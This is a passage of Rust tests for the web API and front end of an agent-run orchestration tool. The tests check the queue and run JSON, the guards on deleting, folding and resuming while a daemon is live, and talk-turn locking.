13860        assert!(rev_before > 0);
13861
13862        let old_dir = runs.join("20260901-100000-old1");
13863        std::fs::remove_dir_all(&old_dir).expect("remove old run");
13864
13865        let rev_after = runs_revision(&runs);
13866        assert_ne!(
13867            rev_before, rev_after,
13868            "deleting an older run must change the revision so other clients see the deletion"
13869        );
13870    }
13871
13872    /// A run's own `run.json` on an explicit `runs` root, bypassing the
13873    /// process-global home entirely — `RunState::save` writes through
13874    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
13875    /// (see `tests::home_lock` in the integration suite for why).
13876    fn write_state(runs: &FsPath, state: &RunState) {
13877        let dir = runs.join(&state.id);
13878        std::fs::create_dir_all(&dir).expect("run dir");
13879        std::fs::write(
13880            dir.join("run.json"),
13881            serde_json::to_string_pretty(state).expect("serialize run"),
13882        )
13883        .expect("write run.json");
13884    }
13885
13886    /// A seat starting or finishing is a write to `run.json` like any other,
13887    /// so it moves the same revision the change stream already watches —
13888    /// nothing new for `/api/events` to learn, but the property this feature
13889    /// depends on to reach the phone without a poll.
13890    #[test]
13891    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13892        let temp = TempDir::new().expect("tempdir");
13893        let runs = temp.path().join("runs");
13894        std::fs::create_dir_all(&runs).expect("create runs dir");
13895        let mut state = RunState::new(
13896            PathBuf::from("/repo/magi"),
13897            "main".to_owned(),
13898            "0123456789abcdef".to_owned(),
13899            "task".to_owned(),
13900            Config::default(),
13901        );
13902        state.id = "20260902-100000-c0de".to_owned();
13903        write_state(&runs, &state);
13904
13905        let rev_idle = runs_revision(&runs);
13906        std::thread::sleep(Duration::from_millis(10));
13907        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13908        write_state(&runs, &state);
13909        let rev_started = runs_revision(&runs);
13910        assert_ne!(
13911            rev_idle, rev_started,
13912            "a seat starting must move the revision"
13913        );
13914
13915        std::thread::sleep(Duration::from_millis(10));
13916        state.seat_finished("judge-1");
13917        write_state(&runs, &state);
13918        let rev_finished = runs_revision(&runs);
13919        assert_ne!(
13920            rev_started, rev_finished,
13921            "and clearing it again must move the revision a second time"
13922        );
13923    }
13924
13925    #[tokio::test]
13926    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13927        // `TaskView` flattens `Task`, so this is really asserting that
13928        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
13929        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
13930        // never touched web.rs, so nothing here caught it if it had.
13931        let fx = Fixture::start().await;
13932        let q = fx.queue();
13933
13934        let mut t = Task::new(
13935            "Task".to_owned(),
13936            "Instruction".to_owned(),
13937            PathBuf::from("/repo"),
13938            Source::Human,
13939        );
13940        t.block(
13941            vec!["20260101-000000-dead".to_owned()],
13942            Some("waiting on Task 1".to_owned()),
13943        );
13944        t.answers.push(crate::queue::AnsweredQuestion {
13945            question: "Which backend?".to_owned(),
13946            answer: "SQLite".to_owned(),
13947        });
13948        q.put(&mut t).expect("put t");
13949
13950        let res = fx.get("/api/queue").await;
13951        assert_eq!(res.status, 200);
13952        let list = res.json();
13953        let view = list
13954            .as_array()
13955            .expect("array")
13956            .iter()
13957            .find(|v| v["id"] == t.id)
13958            .expect("task in list");
13959        assert_eq!(view["status_str"], "blocked");
13960        assert_eq!(
13961            view["blocked_by"],
13962            serde_json::json!(["20260101-000000-dead"])
13963        );
13964        assert_eq!(view["block_reason"], "waiting on Task 1");
13965        assert_eq!(view["answers"][0]["question"], "Which backend?");
13966        assert_eq!(view["answers"][0]["answer"], "SQLite");
13967
13968        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
13969        // but never `answers` - that is a settled decision, not state
13970        // describing the current block, so it survives.
13971        let res = fx
13972            .post(&format!("/api/queue/{}/hold", t.short()), None)
13973            .await;
13974        assert_eq!(res.status, 200);
13975        let held = res.json();
13976        assert_eq!(held["status_str"], "held");
13977        assert_eq!(held["blocked_by"], serde_json::json!([]));
13978        assert!(held["block_reason"].is_null());
13979        assert_eq!(held["answers"][0]["answer"], "SQLite");
13980    }
13981
13982    #[tokio::test]
13983    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13984        let fx = Fixture::start().await;
13985        let q = fx.queue();
13986        let mk = |title: &str| {
13987            Task::new(
13988                title.to_owned(),
13989                "Instruction".to_owned(),
13990                PathBuf::from("/repo"),
13991                Source::Human,
13992            )
13993        };
13994        let mut root = mk("root");
13995        root.hold_manual(Some("waiting".to_owned()));
13996        q.put(&mut root).unwrap();
13997        let mut mid = mk("mid");
13998        mid.block(vec![root.id.clone()], None);
13999        q.put(&mut mid).unwrap();
14000        let mut leaf = mk("leaf");
14001        leaf.block(vec![mid.id.clone()], None);
14002        q.put(&mut leaf).unwrap();
14003
14004        let list = fx.get("/api/queue").await.json();
14005        let find = |id: &str| {
14006            list.as_array()
14007                .unwrap()
14008                .iter()
14009                .find(|v| v["id"] == id)
14010                .unwrap()
14011                .clone()
14012        };
14013        let leaf_view = find(&leaf.id);
14014        assert_eq!(
14015            leaf_view["waits_on"],
14016            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
14017        );
14018        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
14019        assert_eq!(
14020            find(&mid.id)["waits_on"],
14021            serde_json::json!([format!("{} (held)", root.short())])
14022        );
14023        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
14024    }
14025
14026    #[tokio::test]
14027    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
14028        let fx = Fixture::start().await;
14029        let q = fx.queue();
14030
14031        // 1. A queued task with runs attached can be deleted.
14032        let mut t1 = Task::new(
14033            "Task 1".to_owned(),
14034            "Instruction 1".to_owned(),
14035            PathBuf::from("/repo"),
14036            Source::Human,
14037        );
14038        let run_id = "20260901-000000-r111";
14039        t1.runs.push(run_id.to_owned());
14040        write_run(&fx.runs(), run_id, RunStatus::Merged);
14041        q.put(&mut t1).expect("put t1");
14042
14043        // Delete by short id
14044        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
14045        assert_eq!(res.status, 204);
14046        assert!(res.body.is_empty(), "204 No Content has no body");
14047        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
14048        assert!(
14049            fx.runs().join(run_id).exists(),
14050            "run directory must not be deleted when its task is deleted"
14051        );
14052
14053        // 2. A task a live daemon is running is refused with 409.
14054        let mut t2 = Task::new(
14055            "Task 2".to_owned(),
14056            "Instruction 2".to_owned(),
14057            PathBuf::from("/repo"),
14058            Source::Human,
14059        );
14060        t2.status = TaskStatus::Running;
14061        q.put(&mut t2).expect("put t2");
14062        let mut beat = crate::daemon::Status::new();
14063        beat.current = vec![crate::daemon::Current {
14064            task: t2.id.clone(),
14065            run: "20260901-000000-r222".to_owned(),
14066        }];
14067        beat.updated_at = jiff::Timestamp::now();
14068        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14069            .expect("publish a heartbeat");
14070        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
14071        assert_eq!(res.status, 409);
14072        assert!(
14073            res.json()["error"]
14074                .as_str()
14075                .unwrap()
14076                .contains("live daemon")
14077        );
14078        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
14079
14080        // 3. The same `running` status and an orphaned lock, with no daemon
14081        // behind either, is a leftover and deletable. Before this the phone
14082        // refused it for good: the status never changes on its own and
14083        // nothing drops a lock whose process is gone.
14084        // The daemon is killed: the file stays, the heartbeat stops.
14085        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
14086        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14087            .expect("leave a stale heartbeat");
14088        let mut t3 = Task::new(
14089            "Task 3".to_owned(),
14090            "Instruction 3".to_owned(),
14091            PathBuf::from("/repo"),
14092            Source::Human,
14093        );
14094        t3.status = TaskStatus::Running;
14095        q.put(&mut t3).expect("put t3");
14096        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
14097        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
14098        assert_eq!(res.status, 204);
14099        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
14100        assert!(
14101            q.claim(&t3.id).is_ok(),
14102            "the stale lock went with it, so the id is claimable again"
14103        );
14104
14105        // 4. Missing id returns 404
14106        let res = fx.delete("/api/queue/nonexistent").await;
14107        assert_eq!(res.status, 404);
14108    }
14109
14110    #[tokio::test]
14111    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
14112        let fx = Fixture::start().await;
14113        let runs = fx.runs();
14114
14115        // 1. Finished and folded run can be deleted along with artifacts
14116        let run_id = "20260901-000000-fold";
14117        let mut state = RunState::new(
14118            PathBuf::from("/repo"),
14119            "main".to_owned(),
14120            "abc".to_owned(),
14121            "instruction".to_owned(),
14122            Config::default(),
14123        );
14124        state.id = run_id.to_owned();
14125        state.status = RunStatus::Merged;
14126        state.candidates.push(crate::run::Candidate {
14127            index: 0,
14128            label: 'A',
14129            agent: "a".to_owned(),
14130            branch: "b".to_owned(),
14131            worktree: PathBuf::from("/w"),
14132            summary: String::new(),
14133            stat: String::new(),
14134            files: 1,
14135            commits: 1,
14136            empty: false,
14137            failed: None,
14138            verified_noop: None,
14139            duration_ms: 0,
14140            folded: true,
14141        });
14142        let dir = runs.join(run_id);
14143        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14144        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14145            .expect("write artifact");
14146        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14147            .expect("write run.json");
14148
14149        // Delete by short id
14150        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14151        assert_eq!(res.status, 204);
14152        assert!(res.body.is_empty(), "204 has no body");
14153        assert!(!dir.exists(), "run directory and artifacts must be deleted");
14154
14155        // 2. A run a live daemon is working on is refused with 409. The
14156        // heartbeat is what makes it refusable: an unfinished run with no
14157        // daemon behind it is a leftover from a killed process, and case 1
14158        // above would otherwise be impossible to tell apart from this one.
14159        let run_running = "20260901-000000-rung";
14160        write_run(&runs, run_running, RunStatus::Prep);
14161        let mut beat = crate::daemon::Status::new();
14162        beat.current = vec![crate::daemon::Current {
14163            task: "20260901-000000-task".to_owned(),
14164            run: run_running.to_owned(),
14165        }];
14166        beat.updated_at = jiff::Timestamp::now();
14167        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14168            .expect("publish a heartbeat");
14169        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14170        assert_eq!(res.status, 409);
14171        assert!(
14172            res.json()["error"]
14173                .as_str()
14174                .unwrap()
14175                .contains("live daemon"),
14176            "the refusal must say who is holding it"
14177        );
14178        assert!(
14179            runs.join(run_running).exists(),
14180            "a run in flight keeps its directory"
14181        );
14182
14183        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
14184        let run_unfolded = "20260901-000000-unfd";
14185        let mut state2 = RunState::new(
14186            PathBuf::from("/repo"),
14187            "main".to_owned(),
14188            "abc".to_owned(),
14189            "instruction".to_owned(),
14190            Config::default(),
14191        );
14192        state2.id = run_unfolded.to_owned();
14193        state2.status = RunStatus::Ready;
14194        state2.candidates.push(crate::run::Candidate {
14195            index: 0,
14196            label: 'A',
14197            agent: "a".to_owned(),
14198            branch: "b".to_owned(),
14199            worktree: PathBuf::from("/w"),
14200            summary: String::new(),
14201            stat: String::new(),
14202            files: 1,
14203            commits: 1,
14204            empty: false,
14205            failed: None,
14206            verified_noop: None,
14207            duration_ms: 0,
14208            folded: false,
14209        });
14210        let dir2 = runs.join(run_unfolded);
14211        std::fs::create_dir_all(&dir2).expect("create dir2");
14212        std::fs::write(
14213            dir2.join("run.json"),
14214            serde_json::to_string(&state2).unwrap(),
14215        )
14216        .expect("write run.json");
14217
14218        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14219        assert_eq!(res.status, 409);
14220        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14221        assert!(dir2.exists(), "unfolded run directory is kept");
14222
14223        // 4. Missing id returns 404
14224        let res = fx.delete("/api/runs/nonexistent").await;
14225        assert_eq!(res.status, 404);
14226    }
14227
14228    /// The queue tiles on the Stats tab must render even on a home with no
14229    /// runs at all: queue state is not derived from run history, so hiding
14230    /// the whole dashboard body behind "no runs yet" would drop the one
14231    /// thing this tab promises unconditionally (queued/running/held/done).
14232    /// A DOM-level test would need a browser this suite does not have, so
14233    /// this pins the same invariant textually: `renderStatsQueue` is called
14234    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
14235    /// block that gates the run-derived panels.
14236    #[test]
14237    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14238        let start = APP_JS
14239            .find("function renderStats() {")
14240            .expect("renderStats");
14241        let end = start
14242            + APP_JS[start..]
14243                .find("function statsTile(")
14244                .expect("the next top-level function");
14245        let body = &APP_JS[start..end];
14246
14247        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14248        let gate_end = gate_start
14249            + body[gate_start..]
14250                .find("}\n  renderStatsQueue")
14251                .expect("the gate's own closing brace, right before the unconditional call");
14252        let gated = &body[gate_start..gate_end];
14253
14254        assert_eq!(
14255            body.matches("renderStatsQueue(").count(),
14256            1,
14257            "renderStats must call renderStatsQueue exactly once: {body}"
14258        );
14259        assert!(
14260            !gated.contains("renderStatsQueue"),
14261            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14262             run-derived panels on an empty run history - the queue panel has to render \
14263             regardless: {gated}"
14264        );
14265    }
14266
14267    #[test]
14268    fn web_ui_delete_contract_in_front_end() {
14269        // 1. API block has both delete endpoints
14270        assert!(APP_JS.contains("deleteRun:"));
14271        assert!(APP_JS.contains("deleteTask:"));
14272
14273        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
14274        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14275            ..APP_JS.find("function renderRuns").unwrap()];
14276        assert!(!run_cards_slice.to_lowercase().contains("delete"));
14277
14278        // 3. Run detail has delete entry and reasons
14279        assert!(APP_JS.contains("renderRunDelete"));
14280        assert!(APP_JS.contains("runDeleteReason"));
14281        assert!(APP_JS.contains("magi fold"));
14282        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14283
14284        // 4. Two-step delete arming and focus on Cancel
14285        assert!(APP_JS.contains("cancel.focus"));
14286        assert!(APP_JS.contains("armedRunDelete"));
14287        assert!(APP_JS.contains("renderTaskDeleteBox"));
14288        assert!(APP_JS.contains("armed${cap(key)}"));
14289
14290        // 5. Running task has disabled delete
14291        assert!(APP_JS.contains("disabled: status === \"running\""));
14292    }
14293
14294    /// Every element a run card's updater reaches for must be in the `refs`
14295    /// the builder handed it.
14296    ///
14297    /// `createRunCard` builds its elements, appends them to the card, and then
14298    /// lists them again in `row.refs`. That second list is the one the updater
14299    /// uses, and nothing connects the two - an element can be built, appended
14300    /// and rendered, and still be missing from `refs`. `superseded` was, for
14301    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
14302    /// exception took `syncList` with it, and the deck showed
14303    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
14304    /// line is computed before the cards, which is why the failure looked like
14305    /// a server that had lost its runs rather than a front end that had
14306    /// stopped rendering them.
14307    ///
14308    /// A `cargo test` cannot execute the front end, so this reads the two
14309    /// halves out of the source and compares them as sets. It is not a check
14310    /// on the wording of either list: adding an element, renaming one, or
14311    /// reordering them all keeps this passing, and only using one the builder
14312    /// never published fails it.
14313    #[test]
14314    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14315        let build = APP_JS
14316            .find("function createRunCard")
14317            .expect("createRunCard exists");
14318        let update = APP_JS
14319            .find("function updateRunCard")
14320            .expect("updateRunCard exists");
14321        let end = APP_JS
14322            .find("function renderRuns")
14323            .expect("renderRuns exists");
14324
14325        // The builder's published set: the object literal assigned to `refs`.
14326        let builder = &APP_JS[build..update];
14327        let open = builder.find("refs = {").expect("createRunCard sets refs");
14328        let literal = &builder[open + "refs = {".len()..];
14329        let close = literal.find('}').expect("the refs literal is closed");
14330        let published: HashSet<&str> = literal[..close]
14331            .split(',')
14332            // `name` and `name: value` both bind `name`.
14333            .filter_map(|entry| entry.split(':').next())
14334            .map(str::trim)
14335            .filter(|name| !name.is_empty())
14336            .collect();
14337        assert!(
14338            published.len() > 5,
14339            "the refs literal did not parse into names: {published:?}"
14340        );
14341
14342        // What the updaters reach for: every `r.<name>`, where `r` is the
14343        // `const r = row.refs` alias both functions open with.
14344        let mut used: Vec<&str> = Vec::new();
14345        let updaters = &APP_JS[update..end];
14346        for (at, _) in updaters.match_indices("r.") {
14347            // `r` must be the whole identifier, not the tail of another one
14348            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
14349            let before = updaters[..at].chars().next_back();
14350            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14351                continue;
14352            }
14353            let rest = &updaters[at + 2..];
14354            let len = rest
14355                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14356                .unwrap_or(rest.len());
14357            if len > 0 {
14358                used.push(&rest[..len]);
14359            }
14360        }
14361        assert!(
14362            used.len() > 5,
14363            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14364        );
14365
14366        let missing: Vec<&str> = used
14367            .iter()
14368            .copied()
14369            .filter(|name| !published.contains(name))
14370            .collect();
14371        assert!(
14372            missing.is_empty(),
14373            "a run card's updater reaches for {missing:?}, which `createRunCard` \
14374             never put in `refs` - every card will throw and the list will \
14375             render empty under a count line that says otherwise. Published: \
14376             {published:?}"
14377        );
14378    }
14379
14380    #[tokio::test]
14381    async fn folding_from_the_phone_reports_what_it_removed() {
14382        let fx = Fixture::start().await;
14383        let runs = fx.runs();
14384
14385        // A run with no candidates has nothing to fold, which is a 200 with an
14386        // honest count rather than an error: the operator asked for the trees
14387        // to be gone and they are.
14388        let id = "20260901-000000-fold";
14389        write_run(&runs, id, RunStatus::Stalled);
14390        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14391        assert_eq!(res.status, 200);
14392        assert_eq!(res.json()["removed_count"], 0);
14393        assert_eq!(res.json()["run"], id);
14394        assert!(
14395            runs.join(id).exists(),
14396            "a fold keeps the run's record; only the worktrees go"
14397        );
14398    }
14399
14400    #[tokio::test]
14401    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14402        let fx = Fixture::start().await;
14403        let runs = fx.runs();
14404        let wt = fx.home.path().join("wt").join("magi").join("dead");
14405        let id = "20260901-000000-dead";
14406        std::fs::create_dir_all(runs.join(id)).expect("run dir");
14407        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14408        std::fs::create_dir_all(&wt).expect("worktree dir");
14409
14410        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14411        assert_eq!(res.status, 200, "{}", res.body);
14412        assert!(
14413            res.json()["removed_count"].as_u64().unwrap() > 0,
14414            "the worktree this build could not read a state for still went"
14415        );
14416        assert!(
14417            !runs.join(id).exists(),
14418            "an unreadable run has no candidate list to fold selectively, so \
14419             the whole record goes - same as `magi fold` on the CLI"
14420        );
14421    }
14422
14423    #[tokio::test]
14424    async fn deleting_an_unreadable_run_removes_it_wholesale() {
14425        let fx = Fixture::start().await;
14426        let runs = fx.runs();
14427        let wt = fx.home.path().join("wt").join("magi").join("gone");
14428        let id = "20260901-000000-gone";
14429        std::fs::create_dir_all(runs.join(id)).expect("run dir");
14430        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14431        std::fs::create_dir_all(&wt).expect("worktree dir");
14432
14433        let res = fx.delete(&format!("/api/runs/{id}")).await;
14434        assert_eq!(res.status, 204, "{}", res.body);
14435        assert!(!runs.join(id).exists(), "the broken record is gone");
14436        assert!(!wt.exists(), "its worktree is gone too");
14437    }
14438
14439    #[tokio::test]
14440    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14441        let fx = Fixture::start().await;
14442        let runs = fx.runs();
14443        let id = "20260901-000000-live";
14444        write_run(&runs, id, RunStatus::Implementing);
14445
14446        let mut beat = crate::daemon::Status::new();
14447        beat.current = vec![crate::daemon::Current {
14448            task: "20260901-000000-task".to_owned(),
14449            run: id.to_owned(),
14450        }];
14451        beat.updated_at = jiff::Timestamp::now();
14452        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14453            .expect("publish a heartbeat");
14454
14455        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14456        assert_eq!(res.status, 409);
14457        assert!(
14458            res.json()["error"]
14459                .as_str()
14460                .unwrap()
14461                .contains("live daemon"),
14462            "folding under a running agent would pull its worktree away"
14463        );
14464    }
14465
14466    #[tokio::test]
14467    async fn fold_merged_requires_a_pr_url() {
14468        let fx = Fixture::start().await;
14469        let runs = fx.runs();
14470        let id = "20260901-000000-nourl";
14471        write_run(&runs, id, RunStatus::Blocked);
14472
14473        let res = fx
14474            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14475            .await;
14476        assert_eq!(res.status, 400, "{}", res.body);
14477
14478        let blank = fx
14479            .post(
14480                &format!("/api/runs/{id}/fold-merged"),
14481                Some(r#"{"pr_url":"   "}"#),
14482            )
14483            .await;
14484        assert_eq!(blank.status, 400, "{}", blank.body);
14485    }
14486
14487    #[tokio::test]
14488    async fn fold_merged_is_404_for_an_unknown_run() {
14489        let fx = Fixture::start().await;
14490        let res = fx
14491            .post(
14492                "/api/runs/nosuchrun/fold-merged",
14493                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14494            )
14495            .await;
14496        assert_eq!(res.status, 404, "{}", res.body);
14497    }
14498
14499    #[tokio::test]
14500    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14501        let fx = Fixture::start().await;
14502        let runs = fx.runs();
14503        let id = "20260901-000000-livemerge";
14504        write_run(&runs, id, RunStatus::Blocked);
14505
14506        let mut beat = crate::daemon::Status::new();
14507        beat.current = vec![crate::daemon::Current {
14508            task: "20260901-000000-task".to_owned(),
14509            run: id.to_owned(),
14510        }];
14511        beat.updated_at = jiff::Timestamp::now();
14512        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14513            .expect("publish a heartbeat");
14514
14515        let res = fx
14516            .post(
14517                &format!("/api/runs/{id}/fold-merged"),
14518                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14519            )
14520            .await;
14521        assert_eq!(res.status, 409, "{}", res.body);
14522        assert!(
14523            res.json()["error"]
14524                .as_str()
14525                .unwrap()
14526                .contains("live daemon"),
14527            "correcting a run's merge underneath a running agent would race \
14528             whatever it is doing to the same `status`/`merge` fields"
14529        );
14530    }
14531
14532    /// A pull request `gh` cannot even ask about (no such remote, no such
14533    /// repository) must never be recorded as a merge on a guess - the same
14534    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
14535    /// command line, reached here through the phone route instead.
14536    #[tokio::test]
14537    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14538        let fx = Fixture::start().await;
14539        let runs = fx.runs();
14540        let id = "20260901-000000-unconfirmed";
14541        write_run(&runs, id, RunStatus::Blocked);
14542
14543        let res = fx
14544            .post(
14545                &format!("/api/runs/{id}/fold-merged"),
14546                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14547            )
14548            .await;
14549        assert_eq!(res.status, 400, "{}", res.body);
14550        assert_eq!(
14551            read_run(&runs, id).unwrap().status,
14552            RunStatus::Blocked,
14553            "a pull request that could not be confirmed merged must leave \
14554             the run exactly where it was"
14555        );
14556    }
14557
14558    #[tokio::test]
14559    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14560        let fx = Fixture::start().await;
14561        let runs = fx.runs();
14562
14563        // Only a finished run and a failed one. An *interrupted* run - a
14564        // parked one, or one whose daemon was killed mid-node - is the case
14565        // resuming exists for: run 4043 sat at `reviewing` with the deck
14566        // saying it could not be resumed, which was the one state where
14567        // resuming was the only sensible answer.
14568        for (status, word) in [
14569            (RunStatus::Merged, "merged"),
14570            (RunStatus::Ready, "ready"),
14571            (RunStatus::Failed, "failed"),
14572        ] {
14573            let id = format!("20260901-000000-{}", &word[..4]);
14574            write_run(&runs, &id, status);
14575            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14576            assert_eq!(res.status, 409, "{word} must not be resumable");
14577            let err = res.json()["error"].as_str().unwrap().to_owned();
14578            assert!(err.contains(word), "the refusal names the status: {err}");
14579        }
14580
14581        // And an interrupted run is accepted: 202, with the resume running in
14582        // the background. `Runner::resume` fails immediately here - the
14583        // fixture's run points at a repository that does not exist - which is
14584        // the point: the handler must not wait for it to find out.
14585        let mid = "20260901-000000-midf";
14586        write_run(&runs, mid, RunStatus::Reviewing);
14587        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14588        assert_eq!(res.status, 202, "an interrupted run is resumable");
14589    }
14590
14591    #[tokio::test]
14592    async fn resume_is_refused_while_the_loop_is_running() {
14593        let fx = Fixture::start().await;
14594        let runs = fx.runs();
14595        let stalled = "20260901-000000-stal";
14596        write_run(&runs, stalled, RunStatus::Stalled);
14597
14598        // The loop is busy with a *different* run, and that is still a
14599        // refusal: a manual resume must never race whatever the loop itself
14600        // is already driving, whether that is one run or several.
14601        let mut beat = crate::daemon::Status::new();
14602        beat.current = vec![crate::daemon::Current {
14603            task: "20260901-000000-task".to_owned(),
14604            run: "20260901-000000-othr".to_owned(),
14605        }];
14606        beat.updated_at = jiff::Timestamp::now();
14607        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14608            .expect("publish a heartbeat");
14609
14610        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14611        assert_eq!(res.status, 409);
14612        let err = res.json()["error"].as_str().unwrap().to_owned();
14613        assert!(err.contains("othr"), "it names what the loop is on: {err}");
14614        assert!(err.contains("stop it first"), "{err}");
14615    }
14616
14617    #[test]
14618    fn a_run_cannot_be_resumed_twice_at_once() {
14619        let home = TempDir::new().expect("temp home");
14620        let ui = Ui::new(
14621            Queue::at(home.path().join("queue")),
14622            Questions::at(home.path().join("questions")),
14623            Talks::at(home.path().join("talks")),
14624            home.path().join("runs"),
14625            home.path().to_path_buf(),
14626            PathBuf::from("/repo"),
14627        )
14628        .with_worktrees_root(home.path().join("wt"));
14629        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14630        let again = ui.begin_resume("20260901-000000-once");
14631        assert!(again.is_err(), "a second tap must not start a second graph");
14632        drop(first);
14633        assert!(
14634            ui.begin_resume("20260901-000000-once").is_ok(),
14635            "and the claim is released when the attempt ends"
14636        );
14637    }
14638
14639    #[test]
14640    fn talk_thinking_tracks_only_its_held_turn_claim() {
14641        let home = TempDir::new().expect("temp home");
14642        let ui = Ui::new(
14643            Queue::at(home.path().join("queue")),
14644            Questions::at(home.path().join("questions")),
14645            Talks::at(home.path().join("talks")),
14646            home.path().join("runs"),
14647            home.path().to_path_buf(),
14648            PathBuf::from("/repo"),
14649        )
14650        .with_worktrees_root(home.path().join("wt"));
14651        let id = "20260901-000000-once";
14652
14653        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14654        let turn = ui.begin_talk_turn(id).expect("claim turn");
14655        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14656        assert!(
14657            !ui.is_thinking("20260901-000000-other"),
14658            "one talk's turn does not make another talk busy"
14659        );
14660        drop(turn);
14661        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14662    }
14663
14664    #[test]
14665    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14666        let home = TempDir::new().expect("temp home");
14667        let talks = Talks::at(home.path().join("talks"));
14668        let ui = Ui::new(
14669            Queue::at(home.path().join("queue")),
14670            Questions::at(home.path().join("questions")),
14671            talks.clone(),
14672            home.path().join("runs"),
14673            home.path().to_path_buf(),
14674            PathBuf::from("/repo"),
14675        )
14676        .with_worktrees_root(home.path().join("wt"));
14677        let id = "20260901-000000-cross";
14678
14679        let other = Talks::at(home.path().join("talks"))
14680            .claim_turn(id)
14681            .expect("claim")
14682            .expect("the other process wins");
14683        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14684        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14685        assert!(
14686            matches!(
14687                ui.begin_talk_turn_unless_pending(id).expect("start"),
14688                TalkTurnStart::Foreign
14689            ),
14690            "a foreign holder is refused, not queued behind"
14691        );
14692        assert!(
14693            !ui.talk_turns.lock().unwrap().live.contains(id),
14694            "a refused claim leaves no in-process entry behind"
14695        );
14696        drop(other);
14697        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14698        assert!(talks.turn_held(id), "the web turn holds the lease");
14699        drop(turn);
14700        assert!(
14701            !talks.turn_held(id),
14702            "dropping the guard releases the lease"
14703        );
14704    }
14705
14706    #[test]
14707    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14708        let home = TempDir::new().expect("temp home");
14709        let talks = Talks::at(home.path().join("talks"));
14710        let ui = Ui::new(
14711            Queue::at(home.path().join("queue")),
14712            Questions::at(home.path().join("questions")),
14713            talks.clone(),
14714            home.path().join("runs"),
14715            home.path().to_path_buf(),
14716            PathBuf::from("/repo"),
14717        )
14718        .with_worktrees_root(home.path().join("wt"));
14719        let id = "20260901-000000-order";
14720        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14721        // Hold the slot mutex so the drop can finish the lease but not the slot.
14722        let slots = ui.talk_turns.lock().unwrap();
14723        let dropper = std::thread::spawn(move || drop(turn));
14724        let start = std::time::Instant::now();
